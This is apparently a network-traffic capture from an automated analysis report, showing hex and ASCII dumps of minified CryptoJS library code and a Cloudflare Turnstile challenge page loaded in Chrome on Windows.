2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 Data Ascii: (this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d Data Ascii: t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e Data Ascii: r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 Data Ascii: byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:funct
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 Data Ascii: t(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRST
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 Data Ascii: n(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._h
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d Data Ascii: C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49759	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:37 UTC	802	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:37 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 74472 Connection: close content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-resource-policy: cross-origin document-policy: js-profiling cross-origin-opener-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA origin-agent-cluster: ?1 referrer-policy: same-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-embedder-policy: require-corp
2024-08-23 14:21:37 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 62 37 62 63 30 30 34 65 62 33 61 37 63 38 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8b7bc004eb3a7c8d-EWRalt-svc: h3=":443"; ma=86400
2024-08-23 14:21:37 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 28 31 2e 35 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 32 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 69 72 65 77 6f 72 6b 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 20 20 33 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 2d 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 7d 0a 40 Data Ascii: (1.5); opacity: 1; } 100% { transform: scale(2); opacity: 0; }}@keyframes firework { 0% { opacity: 0; stroke-dashoffset: 8; /* length / } 30% { opacity: 1; } 100% { stroke-dashoffset: -8; / length */ }}@
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 65 78 3b 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 36 70 78 20 30 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 0a 23 73 70 69 6e 6e 65 72 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 0a 7d 0a 0a 23 66 61 69 6c 2d 69 63 6f 6e 2c 20 23 6f 76 65 72 72 75 6e 2d 69 63 6f 6e 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 Data Ascii: ex; flex-direction: column; margin: 0 16px 0 0; text-align: right;}#spinner-icon { display: flex; width: 30px; height: 30px; animation: spin 5s linear infinite;}#fail-icon, #overrun-icon { width: 30px; height: 30px; display: flex
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 30 33 38 31 32 37 3b 0a 20 20 66 69 6c 6c 3a 20 23 30 33 38 31 32 37 3b 0a 7d 0a 0a 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 69 6e 68 65 72 69 74 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 7d 0a 0a 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 6f Data Ascii: terlimit: 10; stroke: #038127; fill: #038127;}#overrun-text,#timeout-text,#expired-text { margin: 0; text-align: inherit; font-size: 14px; font-weight: 400;}#timeout-refresh-link,#expired-text,#timeout-text,#expired-refresh-link,#o
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 Data Ascii: k,.theme-dark #challenge-error-text a:visited,.theme-dark #challenge-error-text a:link { color: #bbb;}.theme-dark #challenge-overlay a:hover, .theme-dark #challenge-overlay a:active, .theme-dark #challenge-overlay a:focus,.theme-dark #challenge-err
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 39 37 39 37 39 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 33 32 33 32 33 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f Data Ascii: .theme-dark #terms a:focus { color: #949494;}.theme-dark #content { border-color: #797979; background-color: #232323;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-loop-link { co
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 7a 2d Data Ascii: }.theme-dark .error-message { color: #ffa299;}.theme-dark .error-message a { color: #ffa299;}.theme-dark .error-message a:link, .theme-dark .error-message a:visited { color: #ffa299;}#challenge-overlay { position: absolute; top: 0; z-
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b Data Ascii: margin: 0; cursor: pointer; width: 24px; height: 24px;}.cb-lb input:active ~ .cb-i { border: 2px solid #c44d0e;}.cb-lb input:checked ~ .cb-i { transform: rotate(0deg) scale(1); opacity: 1; border-radius: 5px; background-color: white;
2024-08-23 14:21:37 UTC	1369	IN	Data Raw: 61 6e 64 69 6e 67 20 7b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 73 65 6c 66 3a 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 71 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 69 7a Data Ascii: anding { flex-flow: row-reverse wrap; place-content: center flex-start; align-self: flex-end; margin: 0 12px; padding-right: 0; text-align: right;}.size-compact #terms { text-align: right;}.size-compact #qr { text-align: center;}.siz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
